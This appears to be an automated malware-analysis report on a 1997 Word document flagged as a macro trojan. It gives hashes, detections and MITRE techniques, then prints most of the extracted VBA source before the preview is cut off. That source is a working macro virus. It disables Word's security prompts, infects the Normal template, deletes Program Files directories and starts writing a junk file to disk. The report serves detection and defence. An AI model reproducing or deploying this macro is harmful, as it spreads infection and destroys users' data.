Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1251c49816d00265…

MALICIOUS

Office (OLE)

34.0 KB Created: 1997-01-29 21:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 61d6cc99021adea49612623034f1f58f SHA-1: 578511eb91e55993031a1e392b1d6e9ec7f9231e SHA-256: 1251c49816d002657e0e139fb73464d2cf52d0990eec6d045cdef782fbddadf9
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is a critical heuristic firing. The macro attempts to disable security warnings and injects code into the Normal template, indicating an attempt at persistence. The ClamAV detection of 'Win.Trojan.Psycho-3' and 'Win.Trojan.wmvg-1' further supports its malicious nature. The script writes to the registry key HKEY_CURRENT_USER\Software\Microsoft\Office\SRAT, suggesting a persistence mechanism.

Heuristics 3

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14166 bytes
SHA-256: 165626be4c5fe44b0bc5c799a6192a037ead00d63dca2e50df175ded7024fa2c
Detection
ClamAV: Win.Trojan.wmvg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SRAT"
Attribute VB_Base = "1Normal.SRAT"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (19 - 19)
    Options.VirusProtection = (19 - 19)
    Options.SaveNormalPrompt = (19 - 19)
End If
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "SRAT") <> "by Kwyjiboymi" Then
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "SRAT") = "by Kwyjiboymi"
End If
Dim ADVBPVBCI1, ADCMCLs%, DoAD As Boolean, myBgnL%
Dim NTVBPVBCI1, NTCMCLs%, DoNT As Boolean, ToInfect, SRATFill As Boolean
Set ADVBPVBCI1 = ActiveDocument.VBProject.VBComponents.Item(1)
ADCMCLs = ADVBPVBCI1.CodeModule.CountOfLines
If ADVBPVBCI1.Name <> "SRAT" Then
    If ADCMCLs > 0 Then ADVBPVBCI1.CodeModule.DeleteLines 1, ADCMCLs
    Set ToInfect = ADVBPVBCI1
    ADVBPVBCI1.Name = "SRAT"
    DoAD = True
End If
Set NTVBPVBCI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCMCLs = NTVBPVBCI1.CodeModule.CountOfLines
If NTVBPVBCI1.Name <> "SRAT" Then
    If NTCMCLs > 0 Then NTVBPVBCI1.CodeModule.DeleteLines 1, NTCMCLs
    Set ToInfect = NTVBPVBCI1
    NTVBPVBCI1.Name = "SRAT"
    DoNT = True
End If
myBgnL = 2
If DoNT = True Then
    Do While ADVBPVBCI1.CodeModule.Lines(1, 1) = ""
        ADVBPVBCI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
    Do While ADVBPVBCI1.CodeModule.Lines(myBgnL, 1) <> ""
        ToInfect.CodeModule.InsertLines myBgnL, ADVBPVBCI1.CodeModule.Lines(myBgnL, 1)
        myBgnL = myBgnL + 1
    Loop
End If
If DoAD = True Then
    Do While NTVBPVBCI1.CodeModule.Lines(1, 1) = ""
        NTVBPVBCI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
    Do While NTVBPVBCI1.CodeModule.Lines(myBgnL, 1) <> ""
        ToInfect.CodeModule.InsertLines myBgnL, NTVBPVBCI1.CodeModule.Lines(myBgnL, 1)
        myBgnL = myBgnL + 1
    Loop
End If
If NTCMCLs <> 0 And ADCMCLs = 0 And (InStr(1, ActiveDocument.Name, "Document") = 0) Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") > 0) Then
    ActiveDocument.Saved = True
End If
If Day(Now) = 19 Then
    SRATFill = True
    GoTo SRATAct1
End If
If Day(Now) = Second(Now) Then GoTo SRATAct1
Exit Sub
SRATAct1:
    Dim f%, k%, myp, tmp, mys$
    Randomize
    mys = " (¥) "
    Selection.TypeText " is it safe? (y/n)" & vbCrLf
    myp = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "ProgramFilesPath") & "\"
    k = Rnd * 19 + 1
    tmp = Dir(myp, vbDirectory)
    Do While f < k And tmp <> ""
        If tmp <> "." And tmp <> ".." Then
            tmp = myp & tmp
            RmDir tmp
            Selection.TypeText mys
        End If
        f = f + 1
        tmp = Dir
    Loop
    k = k - 2
    Selection.TypeText "your lucky number is " & k & " ! "
    If k > 0 Then Selection.TypeText "by the way, each" & mys & "represents a dead directory! guess what " & k & " means! anyway, tell me about yourself.." & mys & "(SRAT)"
    If SRATFill = True Then GoTo SRATAct2
    Exit Sub
SRATAct2:
    tmp = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot") & "\temp\srat.19"
    Open tmp For Output As #1
    If Err Then Open "c:\temp\srat.19" For Output As #1
    Do
       Print #1, mys, mys, mys, mys, mys, mys, mys, mys, mys, mys
... (truncated)

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